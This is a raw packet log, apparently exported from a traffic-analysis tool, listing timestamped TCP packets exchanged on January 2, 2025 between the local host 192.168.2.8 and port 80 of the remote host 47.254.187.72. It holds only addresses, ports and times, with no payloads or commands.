Jan 2, 2025 20:20:02.108993053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109024048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109035969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109046936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109059095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109060049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109060049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109060049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109060049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109060049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109060049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109060049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109060049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109076023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109076977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109078884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109088898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109102011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109122038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109127045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109134912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109136105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109155893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109160900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109178066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109186888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109190941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109209061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109217882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109226942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109231949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109246016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109246969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109261990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109262943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109278917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109309912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109311104 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109332085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109344959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109354019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109357119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109369040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109383106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109386921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109392881 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109400988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109428883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109452009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109468937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109483004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109500885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109513044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109513044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109527111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109529972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109541893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109551907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109563112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109575033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109586954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109596014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109600067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109617949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109622955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109631062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109644890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109649897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109657049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109669924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109673977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109688997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109699965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109713078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109723091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109728098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109740973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109749079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109776020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109783888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109797955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109810114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109823942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109833002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109853983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109857082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109869957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109884977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109886885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109906912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109918118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109922886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109935999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109949112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.109950066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109961987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.109962940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110044956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110057116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110083103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110083103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110091925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110119104 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110130072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110142946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110152960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110166073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110167980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110191107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110196114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110213041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110224962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110227108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110239983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110251904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110258102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110265970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110277891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110284090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110291004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110317945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110332012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110515118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110536098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110548019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110553980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110559940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110573053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110574007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110586882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110594988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110601902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110610962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110614061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110629082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110641956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110644102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110655069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110665083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110681057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110694885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110707045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.110709906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110748053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.110763073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.186072111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.186089039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.186130047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.186137915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.186151028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.186162949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.186171055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.186176062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.186183929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.186189890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.186203957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.186239958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.186252117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199215889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199243069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199254990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199270010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199276924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199294090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199301958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199311018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199330091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199348927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199357033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199373007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199385881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199385881 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199397087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199412107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199417114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199419022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199435949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199436903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199455976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199464083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199469090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199477911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199481010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199493885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199506998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199510098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199533939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199546099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199567080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199568033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199579000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199589014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199601889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199609041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199616909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199630976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199636936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199644089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199666023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199666977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199677944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199691057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199700117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199711084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199726105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199731112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199743986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199743986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199758053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199769020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199770927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199784994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199796915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199800014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199812889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199822903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199824095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199842930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199879885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199897051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199909925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199922085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199933052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199942112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199945927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199959040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199973106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.199973106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.199997902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200011015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200022936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200025082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200036049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200050116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200059891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200063944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200074911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200076103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200113058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200160980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200174093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200187922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200198889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200206995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200211048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200241089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200253010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200270891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200284958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200295925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200308084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200310946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200320959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200333118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200345993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200351000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200366020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200371027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200383902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200397968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200402975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200402975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200409889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200423956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200436115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200444937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200470924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200484991 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200505018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200516939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200552940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200599909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200613022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200623989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200635910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200648069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200648069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200664043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200702906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200751066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200767040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200778008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200790882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200795889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200804949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200818062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200828075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200829029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200843096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200850010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200855970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200867891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200870991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.200906038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.200953007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.201109886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201123953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201138973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201149940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201159000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.201163054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201175928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201185942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.201189995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201203108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201215029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201216936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.201225996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201237917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201246023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.201251984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201266050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201266050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.201281071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201292992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201306105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201318026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.201320887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.201320887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.201344013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.201380014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.276693106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.276724100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.276743889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.276748896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.276757002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.276768923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.276782036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.276787996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.276787996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.276797056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.276814938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.276868105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.289683104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289694071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289711952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289724112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.289731026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.289767981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.289772987 CET	80	49704	47.254.187.72	192.168.2.8
